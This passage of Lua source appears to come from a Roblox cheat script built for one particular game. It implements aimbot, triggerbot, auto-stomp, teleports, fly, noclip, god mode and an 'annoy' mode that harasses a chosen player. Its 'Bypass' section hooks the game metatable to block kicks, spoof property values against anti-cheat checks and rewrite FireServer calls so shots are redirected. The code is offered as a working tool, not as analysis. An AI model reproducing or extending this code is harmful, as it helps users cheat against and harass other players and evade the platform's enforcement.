  810. local function GrabItem(Thing,OldPos)
  811. if game.PlaceId ~= 455366377 then return end
  812. local PartFound = GetChar():FindFirstChild'RealHumanoidRootPart' or GetChar():FindFirstChild'Torso'
  813. local Track = GetChar().Humanoid:LoadAnimation(SpinAnimation)
  814. PartFound.CFrame = PartFound.CFrame * CFrame.new(math.random(20,45),0,math.random(1,5))
  815. wait()
  816. BuyingStuff = true
  817. repeat
  818. Track:play(0.1,1,10)
  819. PartFound.CFrame = PartTable[Thing]:FindFirstChildOfClass'Part'.CFrame + Vector3.new(0,1.3,0)
  820. RunService.Heartbeat:wait()
  821. until PartTable[Thing]:FindFirstChildOfClass'Part'.BrickColor == BrickColor.new'Bright red' or GetChar():FindFirstChild('Bone',true) or GetChar().Humanoid.Health == 0
  822. PartFound.CFrame = OldPos
  823. BuyingStuff = false
  824. return true
  825. end
  826.  
  827. local function HealthChanged(Health)
  828. if Health <= HealBotHealth and HealBot and not TpBypass then
  829. if GrabItem("burger",GetChar().Head.CFrame) then
  830. local Hamborger = LP.Backpack:FindFirstChild'Burger'
  831. if Hamborger then
  832. Hamborger.Parent = GetChar()
  833. Hamborger:Activate() -- CHEEMS
  834. repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= GetChar()
  835. end
  836. end -- yeah I copy pasted it from my heal cmd DEAL WITH IT
  837. if GrabItem("drink",GetChar().Head.CFrame) then
  838. local Drink = LP.Backpack:FindFirstChild'Drink'
  839. if Drink then
  840. Drink.Parent = GetChar()
  841. Drink:Activate()
  842. end
  843. end
  844. end
  845. end
  846.  
  847. local function dragGUI(FrameToDrag,Thing)
  848. local Dragging = false
  849. local DragInput,DragStart,StartPos
  850. local function Update(Input)
  851. local Delta = Input.Position - DragStart
  852. TweenService:Create(FrameToDrag,TweenInfo.new(0.055,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Position = UDim2.new(StartPos.X.Scale,StartPos.X.Offset + Delta.X,StartPos.Y.Scale,StartPos.Y.Offset + Delta.Y)}):Play()
  853. end
  854. FrameToDrag.InputBegan:Connect(function(Input)
  855. if Input.UserInputType == Enum.UserInputType.MouseButton1 then
  856. Dragging = true
  857. DragStart = Input.Position
  858. StartPos = FrameToDrag.Position
  859. Input.Changed:Connect(function()
  860. if Input.UserInputState == Enum.UserInputState.End then
  861. Dragging = false
  862. end
  863. end)
  864. end
  865. end)
  866. FrameToDrag.InputChanged:Connect(function(Input)
  867. if Input.UserInputType == Enum.UserInputType.MouseMovement then
  868. DragInput = Input
  869. end
  870. end)
  871. UserInput.InputChanged:Connect(function(Input)
  872. if Input == DragInput and Dragging then
  873. Update(Input)
  874. end
  875. end)
  876. end
  877.  
  878. local function createRainbow(Pos,Text,Value)
  879. local RainbowButton = Instance.new('TextButton',RainbowScrolling)
  880. RainbowButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  881. RainbowButton.BackgroundTransparency = 1
  882. RainbowButton.Position = Pos
  883. RainbowButton.Size = UDim2.new(0,480,0,50)
  884. RainbowButton.Font = Enum.Font.SourceSans
  885. RainbowButton.TextColor3 = Color3.fromRGB(170,0,0)
  886. RainbowButton.TextSize = 25
  887. RainbowButton.Text = Text
  888. RainbowButton.TextWrapped = true
  889. RainbowButton.MouseButton1Click:Connect(function()
  890. if Text == "All" then
  891. RainbowHats = "All"
  892. RainbowFrame.Visible = false
  893. else
  894. LP.Backpack.Stank:FireServer("rep",Value.Parent)
  895. RainbowFrame.Visible = false
  896. RainbowHats = true
  897. end
  898. end)
  899. dragGUI(RainbowFrame,RainbowButton)
  900. end
  901.  
  902. local function createCommandBarCmd(Name,Args)
  903. if Name and Args then
  904. local CmdBarTextLabel = Instance.new('TextLabel',CmdBarFrame)
  905. CmdBarTextLabel.BackgroundTransparency = 1
  906. CmdBarTextLabel.Position = UDim2.new(-20,0,0,0)
  907. CmdBarTextLabel.Size = UDim2.new(0,200,0,15)
  908. CmdBarTextLabel.ZIndex = 2
  909. CmdBarTextLabel.Font = Enum.Font.SciFi
  910. CmdBarTextLabel.Text = (Name.." "..Args)
  911. CmdBarTextLabel.TextColor3 = Color3.fromRGB(0,0,0)
  912. CmdBarTextLabel.TextScaled = true
  913. CmdBarTextLabel.TextSize = 14
  914. CmdBarTextLabel.TextWrapped = true
  915. dragGUI(CmdBarFrame,CmdBarTextLabel)
  916. end
  917. end
  918.  
  919. local function createCmd(Pos,CommandName,CommandInfo,CommandArgs)
  920. local CommandLabel = Instance.new('TextLabel',CmdsScrolling)
  921. CommandLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  922. CommandLabel.BackgroundTransparency = 0.9
  923. CommandLabel.Position = Pos
  924. CommandLabel.Size = UDim2.new(0,387,0,31)
  925. CommandLabel.Font = Enum.Font.SourceSans
  926. CommandLabel.Text = ("["..CommandName.."] "..CommandInfo)
  927. CommandLabel.TextColor3 = Color3.fromRGB(255,255,255)
  928. CommandLabel.TextSize = 14
  929. CommandLabel.TextWrapped = true
  930. dragGUI(CmdsFrame,CommandLabel)
  931. end
  932.  
  933. local function StateChanged(Old,New)
  934. if Flying or NoGh then
  935. if New == Enum.HumanoidStateType.FallingDown or New == Enum.HumanoidStateType.PlatformStanding then
  936. LP.Character.Humanoid.PlatformStand = false
  937. LP.Character.Humanoid:ChangeState(8)
  938. end
  939. end
  940. end
  941.  
  942. local function ShotOrHit(Character)
  943. if Character then
  944. local Tool = Character:FindFirstChildOfClass'Tool'
  945. if Tool then
  946. return Tool,Tool:FindFirstChild'Fire' and "shot you" or "hit you"
  947. end
  948. end
  949. end
  950.  
  951. local function ChangeDamageIndicatorText(Text)
  952. DmgIndicator.Text = Text
  953. DmgIndicator.Visible = true
  954. wait(5)
  955. DmgIndicator.Visible = false
  956. end
  957.  
  958. local function ColourChanger(T)
  959. if T:IsA'Trail' then
  960. T.Color = BulletColour
  961. end
  962. if BfgOn and T:FindFirstChild('Clips',true) then
  963. for _,v in pairs(LP.Backpack:GetChildren()) do
  964. if v:IsA'Tool' and v:FindFirstChild('Clips',true) then
  965. v.Parent = GetChar()
  966. end
  967. end
  968. end
  969. if not BfgOn and EstimatedGunRanges[T.Name] and GunAnim ~= "None" then
  970. wait()
  971. if T.Name ~= "Shotty" and T.Name ~= "Sawed Off" or GunAnim == "1" then
  972. GetChar().Humanoid:LoadAnimation(GunAnimation1):Play()
  973. else
  974. local Track = GetChar().Humanoid:LoadAnimation(GunAnimation2)
  975. Track:Play()
  976. wait()
  977. Track:AdjustSpeed(0)
  978. end
  979. end
  980. if T.Name == "Bone" then
  981. if AutoDie then
  982. GetChar().Humanoid.Health = 0
  983. end
  984. if GodMode and game.PlaceId == 455366377 then
  985. for i,v in pairs(GetChar():GetDescendants()) do
  986. if v:IsA'NumberValue' then
  987. v:Destroy()
  988. end
  989. end
  990. end
  991. end
  992. if T:IsA'ObjectValue' and T.Name == "creator" then
  993. local Player = T.Value
  994. if AutoTarget then
  995. if Aimlock then
  996. AimlockTarget = Player
  997. local Connection;Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
  998. if tostring(C) == tostring(AimlockTarget) then
  999. AimlockTarget = C
  1000. else
  1001. Connection:Disconnect()
  1002. Connection = nil
  1003. end
  1004. end)
  1005. end
  1006. if CamLocking then
  1007. CamlockPlayer = Players:GetPlayerFromCharacter(Player)
  1008. end
  1009. end
  1010. if AutoFeloop then
  1011. CheckCommand("feloop "..tostring(Player))
  1012. end
  1013. if AutoTriggerBot and not TriggerBot then
  1014. CheckCommand("triggerbot "..tostring(Player))
  1015. AutoStomp = true
  1016. local Life;Life = Players:GetPlayerFromCharacter(Player).CharacterRemoving:Connect(function(Char)
  1017. if tostring(Char) == tostring(AnnoyingPlayer) then
  1018. TriggerBot = false
  1019. AnnoyOn = false
  1020. AnnoyingPlayer = nil
  1021. AimbotAutoShoot = false
  1022. Flying = false
  1023. AutoDie = false
  1024. AutoStomp = false
  1025. AimlockTarget = nil
  1026. Life:Disconnect()
  1027. else
  1028. Life:Disconnect()
  1029. end
  1030. end)
  1031. end
  1032. pcall(function()
  1033. local Tool,Method = ShotOrHit(Player)
  1034. ChangeDamageIndicatorText(Player.Name.." has "..Method.." from "..math.floor((GetChar().Head.Position - Player.Head.Position).magnitude).." studs with a "..Tool.Name)
  1035. end)
  1036. end
  1037. end
  1038.  
  1039. local function RemoveGunAnimation(T)
  1040. if EstimatedGunRanges[T.Name] then
  1041. stopAnim("889968874")
  1042. stopAnim("229339207")
  1043. end
  1044. end
  1045.  
  1046. local function FreeCam(Speed)
  1047. if not GetChar():FindFirstChild'Head' then return end
  1048. if workspace:FindFirstChild'FreecamPart' then
  1049. workspace.FreecamPart:Destroy()
  1050. end
  1051. Speed = Speed or 35
  1052. GetChar().Head.Anchored = true
  1053. local FreecamPart = Instance.new('Part',workspace)
  1054. FreecamPart.Name = "FreecamPart"
  1055. FreecamPart.Position = GetChar().Head.Position + Vector3.new(0,5,0)
  1056. FreecamPart.Transparency = 1
  1057. FreecamPart.CanCollide = false
  1058. FreecamPart.Anchored = true
  1059. workspace.CurrentCamera.CameraSubject = FreecamPart
  1060. while Freecam and GetChar().Humanoid.Health > 0 and wait() do
  1061. local Pos = Vector3.new()
  1062. local Look = (workspace.CurrentCamera.Focus.p - workspace.CurrentCamera.CoordinateFrame.p).unit
  1063. local PartPos = FreecamPart.Position
  1064. if KeyTable['w'] then
  1065. Pos = Pos + Vector3.new(0,0,-1)
  1066. elseif KeyTable['a'] then
  1067. Pos = Pos + Vector3.new(-1,0,0)
  1068. elseif KeyTable['s'] then
  1069. Pos = Pos + Vector3.new(0,0,1)
  1070. elseif KeyTable['d'] then
  1071. Pos = Pos + Vector3.new(1,0,0)
  1072. elseif KeyTable['Space'] then
  1073. Pos = Pos + Vector3.new(0,1,0)
  1074. elseif KeyTable['Control'] then
  1075. Pos = Pos + Vector3.new(0,-1,0)
  1076. end
  1077. FreecamPart.CFrame = CFrame.new(PartPos,PartPos + Look) * CFrame.new(Pos * Speed)
  1078. end
  1079. workspace.CurrentCamera.CameraSubject = GetChar()
  1080. GetChar().Head.Anchored = false
  1081. if workspace:FindFirstChild'FreecamPart' then
  1082. workspace.FreecamPart:Destroy()
  1083. end
  1084. end
  1085.  
  1086. local function BehindAWall(Target)
  1087. if Target:FindFirstChild'Head' and GetChar():FindFirstChild'Head' then
  1088. local RYEBread = Ray.new(Target.Head.Position,GetChar().Head.Position)
  1089. local RYEBreadHit = workspace:FindPartOnRay(RYEBread)
  1090. if RYEBreadHit then
  1091. return RYEBreadHit:IsDescendantOf(Target)
  1092. end
  1093. end
  1094. end
  1095.  
  1096. local function LoopChangeWalkSpeed()
  1097. if game.PlaceId == 455366377 then
  1098. if KeyTable['Shift'] and (WalkShoot and (LP.Backpack:FindFirstChild'ServerTraits' and LP.Backpack.ServerTraits.Stann.Value > 0 or GetChar():FindFirstChild'Stamina' and GetChar().Stamina.Value > 0) or not WalkShoot) then
  1099. if Normalwalk and SprintSpeed == 25 then return end
  1100. GetChar().Humanoid.WalkSpeed = SprintSpeed
  1101. return
  1102. end
  1103. if KeyTable['Control'] then
  1104. if Normalwalk and CrouchSpeed == 8 then return end
  1105. GetChar().Humanoid.WalkSpeed = CrouchSpeed
  1106. return
  1107. end
  1108. if not WalkShoot then
  1109. GetChar().Humanoid.WalkSpeed = WalkSpeed
  1110. end
  1111. end
  1112. end
  1113.  
  1114. local function AimbotToCFrame()
  1115. local CFrameToReturn;
  1116. local TargetPart = AimlockTarget.FindFirstChild(AimlockTarget,'RealHumanoidRootPart') or AimlockTarget.FindFirstChild(AimlockTarget,'Torso')
  1117. if TargetPart and AimMode == "OldPrediction" then
  1118. CFrameToReturn = TargetPart.CFrame + TargetPart.Velocity / AimbotVelocity
  1119. elseif TargetPart and AimMode == "Prediction" then
  1120. CFrameToReturn = (TargetPart.CFrame + TargetPart.Velocity / (PlayersPing < 0.26 and 5 or 7.5)) + (TargetPart.RotVelocity / (PlayersPing < 0.26 and 5 or 7.5))
  1121. elseif AimlockTarget.FindFirstChild(AimlockTarget,AimMode) then
  1122. CFrameToReturn = AimlockTarget[AimMode].CFrame
  1123. end
  1124. return CFrameToReturn
  1125. end
  1126.  
  1127. local function updateGun()
  1128. local NewTool;
  1129. local Tool = LP.Character:FindFirstChildOfClass'Tool'
  1130. if Tool and EstimatedGunRanges[Tool.Name] and (Tool.Ammo.Value > 0 or Tool.Clips.Value > 0) then
  1131. return true
  1132. else
  1133. for i,v in pairs(LP.Backpack:GetChildren()) do
  1134. if v:IsA'Tool' and EstimatedGunRanges[v.Name] then
  1135. if v:FindFirstChild'Clips' then
  1136. if v.Clips.Value > 0 or v.Ammo.Value > 0 then
  1137. NewTool = v
  1138. break
  1139. end
  1140. end
  1141. end
  1142. end
  1143. if NewTool then
  1144. return NewTool
  1145. else
  1146. if game.PlaceId == 455366377 and GetChar():FindFirstChildOfClass'Tool' and GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Ammo' and TriggerBotAutoReload and not BuyingStuff and tonumber(LP.PlayerGui.HUD.Cash.Text:sub(2)) >= 25 then
  1147. GrabItem("ammo",GetChar().Head.CFrame)
  1148. return true
  1149. else
  1150. GetChar():BreakJoints()
  1151. end
  1152. return false
  1153. end
  1154. end
  1155. end
  1156.  
  1157.  
  1158. -- [[ End ]] --
  1159.  
  1160. -- [[ Bypass ]] -- .
  1161.  
  1162. local Raw = getrawmetatable(game)
  1163. local Caller = checkcaller or is_protosmasher_caller or Cer.isCerus
  1164. local CallingScript = getcallingscript or get_calling_script
  1165. local Closure = newcclosure or read_me or function(Func) return Func end
  1166. local CallingMethod = getnamecallmethod or get_namecall_method
  1167.  
  1168. setreadonly(Raw,false)
  1169.  
  1170. local Index = Raw.__index;
  1171. Raw.__index = Closure(function(self,Indexed)
  1172. if TpBypass and CallingScript and CallingScript() ~= script and Indexed == "HumanoidRootPart" then
  1173. return Index(self,"Torso")
  1174. end
  1175. return Index(self,Indexed)
  1176. end)
  1177.  
  1178. local NewIndex = Raw.__newindex;
  1179. Raw.__newindex = Closure(function(self,Property,Value)
  1180. if Caller() then return NewIndex(self,Property,Value) end
  1181. StarterGui:SetCore('ResetButtonCallback',true)
  1182. if Property == "WalkSpeed" and WalkShoot then return 16 end
  1183. if Property == "JumpPower" then return 37.5 end
  1184. if Property == "HipHeight" then return 0 end
  1185. if Property == "Health" then return 100 end
  1186. if self == workspace and Property == "Gravity" then return NormalGravity end
  1187. if Property == "CFrame" and self:IsDescendantOf(LP.Character) then return end
  1188. return NewIndex(self,Property,Value)
  1189. end)
  1190.  
  1191. local Namecall = Raw.__namecall;
  1192. Raw.__namecall = Closure(function(self,...)
  1193. local Args = {...}
  1194. if Caller() then
  1195. if CallingMethod() == "FindFirstChild" and Args[1] == "RealHumanoidRootPart" then
  1196. Args[1] = "HumanoidRootPart"
  1197. return Namecall(self,unpack(Args))
  1198. end
  1199. return Namecall(self,...)
  1200. end
  1201. if CallingMethod() == "Destroy" or CallingMethod() == "Kick" then
  1202. if self == LP then return wait(9e9) end
  1203. if tostring(self) == 'BodyGyro' or tostring(self) == 'BodyVelocity' then return wait(9e9) end
  1204. end
  1205. if CallingMethod() == "BreakJoints" and self == LP.Character then return wait(9e9) end
  1206. if CallingMethod() == "FireServer" then
  1207. if tostring(self) == "Fire" and Aimlock and AimlockTarget then
  1208. return Namecall(self,AimbotToCFrame())
  1209. end
  1210. if tostring(self) == "Input" and Aimlock and AimlockTarget then
  1211. Args[2].mousehit = AimbotToCFrame()
  1212. return Namecall(self,unpack(Args))
  1213. end
  1214. if tostring(self.Parent) == "ReplicatedStorage" or Args[1] == "hey" and not tostring(self) == "SayMessageRequest" then
  1215. return wait(9e9)
  1216. end
  1217. if tostring(self) == "Touch1" and AlwaysGh then
  1218. Args[3] = true
  1219. return Namecall(self,unpack(Args))
  1220. end
  1221. if Args[1] == "play" then
  1222. PlayOnDeath = Args[2]
  1223. elseif Args[1] == "stop" then
  1224. PlayOnDeath = nil
  1225. end
  1226. end
  1227. if CallingMethod() == "WaitForChild" or CallingMethod() == "FindFirstChild" then
  1228. if CallingScript and CallingScript() ~= script and TpBypass and Args[1] == "HumanoidRootPart" then
  1229. Args[1] = "Torso"
  1230. return Namecall(self,unpack(Args))
  1231. end
  1232. end
  1233. return Namecall(self,...)
  1234. end)
  1235.  
  1236. if hookfunction then
  1237. local OldRemote; OldRemote = hookfunction(Instance.new'RemoteEvent'.FireServer,function(self,...)
  1238. local Args = {...}
  1239. if tostring(self) == "Touch1" and AlwaysGh then
  1240. Args[3] = true
  1241. return OldRemote(self,unpack(Args))
  1242. end
  1243. return OldRemote(self,...)
  1244. end)
  1245. end
  1246.  
  1247. setreadonly(Raw,true)
  1248.  
  1249. -- [[ End ]] --
  1250.  
  1251. -- [[ Event Handling ]] --
  1252.  
  1253. LP.Chatted:Connect(CheckCommand)
  1254.  
  1255. workspace.DescendantAdded:Connect(function(T)
  1256. if NeverSitting and string.find(T.ClassName:lower(),"seat") then
  1257. T.Parent = CoreGui
  1258. end
  1259. if AutoFarm then
  1260. farm("Cash")
  1261. end
  1262. if ItemEsp and T.Name == "RandomSpawner" then
  1263. for i,v in pairs(FarmTable) do
  1264. local Part,String = find(i)
  1265. if Part ~= "None" then
  1266. Esp(Part,String)
  1267. end
  1268. end
  1269. end
  1270. end)
  1271.  
  1272. RunService.Stepped:Connect(function()
  1273. local Character = GetChar()
  1274. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  1275. if Noclip then
  1276. local Children = Character:GetDescendants()
  1277. for i = 1,#Children do
  1278. local Child = Children[i]
  1279. if Child:IsA'BasePart' then
  1280. Child.CanCollide = false
  1281. end
  1282. end
  1283. end
  1284. if KeyTable['Shift'] and SprintSpeed == 25 and WalkShoot and (LP.Backpack:FindFirstChild'ServerTraits' and LP.Backpack.ServerTraits.Stann.Value <= 5 or GetChar():FindFirstChild'Stamina' and GetChar().Stamina.Value <= 5) then
  1285. GetChar().Humanoid.WalkSpeed = 16
  1286. end
  1287.  
  1288. if GodMode and game.PlaceId ~= 455366377 then
  1289. local RightLeg = Character:FindFirstChild'Right Leg'
  1290. if RightLeg then
  1291. RightLeg:Destroy()
  1292. end
  1293. end
  1294. local Tool = Character:FindFirstChildOfClass'Tool'
  1295. if AntiKill and Tool and not table.find(ToolTable,Tool) then
  1296. if Character:FindFirstChild'Right Arm' and Character['Right Arm']:FindFirstChild'RightGrip' then
  1297. Character['Right Arm'].RightGrip:Destroy()
  1298. end
  1299. end
  1300. if flying and Character:FindFirstChild'Humanoid' and (game.PlaceId == 455366377 and not FlyDebounce) then
  1301. FlyDebounce = true
  1302. LP.Character.Humanoid:ChangeState(3)
  1303. if game.PlaceId == 455366377 then
  1304. wait(0.2)
  1305. end
  1306. FlyDebounce = false
  1307. end
  1308. if ClockTime then
  1309. Lighting.ClockTime = ClockTime
  1310. end
  1311. if AirwalkOn and Character:FindFirstChildOfClass'Humanoid' and PartFound then
  1312. Character.Humanoid.HipHeight = 0
  1313. AirWalk.CFrame = PartFound.CFrame + Vector3.new(0,-3.5,0)
  1314. end
  1315. if CamLocking and CamlockPlayer and CamlockPlayer.Character and CamlockPlayer.Character:FindFirstChild'Head' then
  1316. if CamlockPlayer.Character:FindFirstChildOfClass'Humanoid' and CamlockPlayer.Character.Humanoid.Health == 0 then return end
  1317. if CamlockPlayer.Character:FindFirstChild(CamlockTarget) then
  1318. workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character[CamlockTarget].CFrame.p)
  1319. else
  1320. workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character.Head.CFrame.p)
  1321. end
  1322. end
  1323. if FeLoop and LoopPlayer and LoopPlayer.Character and PartFound then
  1324. local Part = LoopPlayer.Character:FindFirstChildWhichIsA('BasePart',true)
  1325. if Part then
  1326. PartFound.CFrame = Part.CFrame
  1327. end
  1328. local BChildren = LP.Backpack:GetChildren()
  1329. for i = 1,#BChildren do
  1330. local Child = BChildren[i]
  1331. Child.Parent = Character
  1332. Child:GetPropertyChangedSignal("Parent"):Wait()
  1333. end
  1334. end
  1335. if AnnoyOn and AnnoyingPlayer and AnnoyingPlayer.Character and PartFound then
  1336. local Part = AnnoyingPlayer.Character:FindFirstChild'Torso'
  1337. if Part then
  1338. if TriggerBot then
  1339. if not Flying then
  1340. CheckCommand("fly")
  1341. end
  1342. if not AimbotAutoShoot and not AutoTriggerBot then
  1343. CheckCommand("aimbotautoshoot")
  1344. end
  1345. if not Aimlock or AnnoyingPlayer and tostring(AimlockTarget) ~= tostring(AnnoyingPlayer) then
  1346. CheckCommand("aim "..AnnoyingPlayer.Name)
  1347. end
  1348. if not Character:FindFirstChildOfClass'ForceField' then
  1349. local Gun = updateGun()
  1350. local FoundTool = Character:FindFirstChildOfClass'Tool'
  1351. if typeof(Gun) ~= "boolean" and Gun and Gun ~= FoundTool then
  1352. if FoundTool then
  1353. FoundTool.Parent = LP.Backpack
  1354. wait()
  1355. end
  1356. Gun.Parent = LP.Character
  1357. end
  1358. end
  1359. if AnnoyingPlayer and AnnoyingPlayer.Character and not AnnoyingPlayer.Character:FindFirstChild('Bone',true) and (not BuyingStuff and TriggerBotAutoReload or not TriggerBotAutoReload) then
  1360. if Character:FindFirstChild'Glock' or Character:FindFirstChild'Uzi' then
  1361. local Random = math.random(1,6)
  1362. if Random <= 3 then
  1363. PartFound.CFrame = Part.CFrame * CFrame.new(math.random(1,25),0,math.random(1,25))
  1364. elseif Random > 3 then
  1365. PartFound.CFrame = Part.CFrame * CFrame.new(-math.random(1,25),0,-math.random(1,25))
  1366. end
  1367. else
  1368. local Random = math.random(1,6)
  1369. if Random <= 3 then
  1370. PartFound.CFrame = Part.CFrame * CFrame.new(math.random(1,15),0,math.random(1,15))
  1371. elseif Random > 3 then
  1372. PartFound.CFrame = Part.CFrame * CFrame.new(-math.random(1,15),0,-math.random(1,15))
  1373. end
  1374. end
  1375. else
  1376. if not BuyingStuff and TriggerBotAutoReload or not TriggerBotAutoReload and not AutoTriggerBot then
  1377. PartFound.CFrame = Part.CFrame
  1378. end
  1379. end
  1380. else
  1381. PartFound.CFrame = Part.CFrame
  1382. end
  1383. end
  1384. end
  1385. if AutoStomp then
  1386. local P = Players:GetPlayers()
  1387. for i = 1,#P do
  1388. local Player = P[i]
  1389. if PartFound and Player ~= LP and Player.Character and Player.Character:FindFirstChild'Head' and Player.Character:FindFirstChild('Bone',true) then
  1390. if (PartFound.Position - Player.Character.Head.Position).magnitude < AutoStompRange and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild'Dragged' and not table.find(StompWhitelist,Player.UserId) then
  1391. Teleport(Player.Character.Head.CFrame)
  1392. LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack:FindFirstChild'Punch' or LP.Character:FindFirstChild'Punch')
  1393. end
  1394. end
  1395. end
  1396. end
  1397. end)
  1398.  
  1399. local HealthChangedEvent;HealthChangedEvent = LP.Character.Humanoid.HealthChanged:Connect(HealthChanged)
  1400. local HumanoidStateChanged;HumanoidStateChanged = LP.Character.Humanoid.StateChanged:Connect(StateChanged)
  1401. local ColourChangerEvent;ColourChangerEvent = LP.Character.DescendantAdded:Connect(ColourChanger)
  1402. local RemoveGunAnimationEvent;RemoveGunAnimationEvent = LP.Character.DescendantRemoving:Connect(RemoveGunAnimation)
  1403. local WalkSpeedChangedEvent;WalkSpeedChangedEvent = LP.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LoopChangeWalkSpeed)
  1404.  
  1405. LP.CharacterAdded:Connect(function(C)
  1406. Flying = false
  1407. AntiKill = false
  1408. ToolTable = {}
  1409. C:WaitForChild'Humanoid' -- wait until the humanoid has been found
  1410. -- Gun Animation Event --
  1411. RemoveGunAnimationEvent:Disconnect()
  1412. RemoveGunAnimationEvent = nil
  1413. RemoveGunAnimationEvent = LP.Character.DescendantRemoving:Connect(RemoveGunAnimation)
  1414. -- HealBot Event --
  1415. HealthChangedEvent:Disconnect()
  1416. HealthChangedEvent = nil
  1417. HealthChangedEvent = C.Humanoid.HealthChanged:Connect(HealthChanged)
  1418. -- No GroundHit Event --
  1419. HumanoidStateChanged:Disconnect()
  1420. HumanoidStateChanged = nil
  1421. HumanoidStateChanged = C.Humanoid.StateChanged:Connect(StateChanged)
  1422. -- Colour Changer Event --
  1423. ColourChangerEvent:Disconnect()
  1424. ColourChangerEvent = nil
  1425. ColourChangerEvent = C.DescendantAdded:Connect(ColourChanger)
  1426. -- WalkSpeed Event --
  1427. WalkSpeedChangedEvent:Disconnect()
  1428. WalkSpeedChangedEvent = nil
  1429. WalkSpeedChangedEvent = LP.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LoopChangeWalkSpeed)
  1430. -- Loop Properties --
  1431. C.Humanoid.WalkSpeed = SpawnWs or NormalWs
  1432. C.Humanoid.JumpPower = SpawnJP or NormalJP
  1433. C.Humanoid.HipHeight = SpawnHH or NormalHH
  1434. -- Other --
  1435. if TpBypass then
  1436. local Hr = C:FindFirstChild'RealHumanoidRootPart'
  1437. if Hr then
  1438. Hr:Destroy()
  1439. end
  1440. end
  1441. if FeLoop then
  1442. C['Right Leg']:Destroy()
  1443. local H = C.Humanoid:Clone()
  1444. C.Humanoid:Destroy()
  1445. H.Parent = C
  1446. workspace.CurrentCamera.CameraSubject = C
  1447. end
  1448. pcall(function()
  1449. if PlayOnDeath then
  1450. wait()
  1451. local Tool = LP.Backpack:WaitForChild'BoomBox'
  1452. if Tool then
  1453. Tool.Parent = C
  1454. wait()
  1455. Tool:FindFirstChildOfClass'RemoteEvent':FireServer("play",PlayOnDeath)
  1456. wait()
  1457. Tool.Parent = LP.Backpack
  1458. end
  1459. end
  1460. end) -- code has stupid errors? pcall the fuck out of it
  1461. end)
  1462.  
  1463. UserInput.InputBegan:Connect(function(Key)
  1464. local Character = GetChar()
  1465. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  1466. local Target = Mouse.Target
  1467. if UserInput:GetFocusedTextBox() then return end
  1468. if not Character:FindFirstChildOfClass'Tool' and AimlockMode == "LeftClick" and Key.UserInputType == Enum.UserInputType.MouseButton1 or AimlockMode == "RightClick" and Key.UserInputType == Enum.UserInputType.MouseButton2 then
  1469. if Target and Target.Parent then
  1470. local TargetNew = Target.Parent
  1471. if not Players:GetPlayerFromCharacter(TargetNew) then TargetNew = TargetNew.Parent end
  1472. if not Players:GetPlayerFromCharacter(TargetNew) then return end
  1473. if TargetNew ~= Character and TargetNew ~= AimlockTarget and Aimlock then
  1474. AimlockTarget = TargetNew
  1475. local Connection;Connection = Players:GetPlayerFromCharacter(TargetNew).CharacterAdded:Connect(function(C)
  1476. if tostring(C) == tostring(AimlockTarget) then
  1477. AimlockTarget = C
  1478. else
  1479. Connection:Disconnect()
  1480. Connection = nil
  1481. end
  1482. end)
  1483. notif("AimlockTarget","Has been set to "..AimlockTarget.Name,5,nil)
  1484. end
  1485. end
  1486. end
  1487. if CanSetHotkey then
  1488. local KeyCode = Key.KeyCode.Name
  1489. if KeyCode ~= "Unknown" and KeyCode ~= "Return" and Keycode ~= "Slash" then
  1490. if CanSetHotkey == "CmdBar" then
  1491. CmdBarKey = KeyCode
  1492. notif("CommandBarKey","Has been set to the hotkey: "..KeyCode,5,nil)
  1493. CanSetHotkey = nil
  1494. KeysFrame.Visible = false
  1495. elseif CanSetHotkey == "AnyCmd" and AnyCmdTextBox.Text ~= "" then
  1496. for Index,Key in pairs(Keys) do
  1497. if Key:match("[%a%d]+$") == KeyCode then
  1498. table.remove(Keys,Index)
  1499. end
  1500. end
  1501. Keys[#Keys + 1] = AnyCmdTextBox.Text.."||"..KeyCode
  1502. notif(AnyCmdTextBox.text,"Has been set to the hotkey: "..KeyCode,5,nil)
  1503. CanSetHotkey = nil
  1504. AnyCmdTextBox.Text = ""
  1505. KeysFrame.Visible = false
  1506. end
  1507. updateHotkeys(ConfigurationFile)
  1508. end
  1509. end
  1510. if Target and Key.UserInputType == Enum.UserInputType.MouseButton2 then
  1511. local Target = Target.Parent
  1512. if Target and Target:FindFirstChild'Click' and Target:FindFirstChild'Locker' then
  1513. if Target.Locker.Value then
  1514. Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1515. Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1516. else
  1517. Target.Click.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1518. Target.Lock.ClickDetector:FindFirstChildOfClass'RemoteEvent':FireServer()
  1519. end
  1520. end
  1521. end
  1522. if ClickTpKey and ClickTpKey ~= "" and Key.KeyCode == Enum.KeyCode[ClickTpKey:upper()] and Target then
  1523. Teleport(CFrame.new(Mouse.Hit.p + Vector3.new(0,5,0)))
  1524. end
  1525. for i,v in pairs(Keys) do
  1526. local KeyCode = convertKeyCode(v:match'[%a%d]+$')
  1527. if KeyCode == Key.KeyCode then
  1528. CheckCommand(v:match'^[%w%s]+')
  1529. end
  1530. end
  1531. if Key.KeyCode == Enum.KeyCode.LeftControl then
  1532. KeyTable['Control'] = true
  1533. if AirwalkOn then AirWalk.Size = Vector3.new(0,0,0) end
  1534. if Normalwalk and CrouchSpeed == 8 then return end
  1535. Character.Humanoid.WalkSpeed = CrouchSpeed
  1536. end
  1537. if Key.KeyCode == Enum.KeyCode.LeftShift then
  1538. KeyTable['Shift'] = true
  1539. if Normalwalk and SprintSpeed == 25 then return end
  1540. Character.Humanoid.WalkSpeed = SprintSpeed
  1541. end
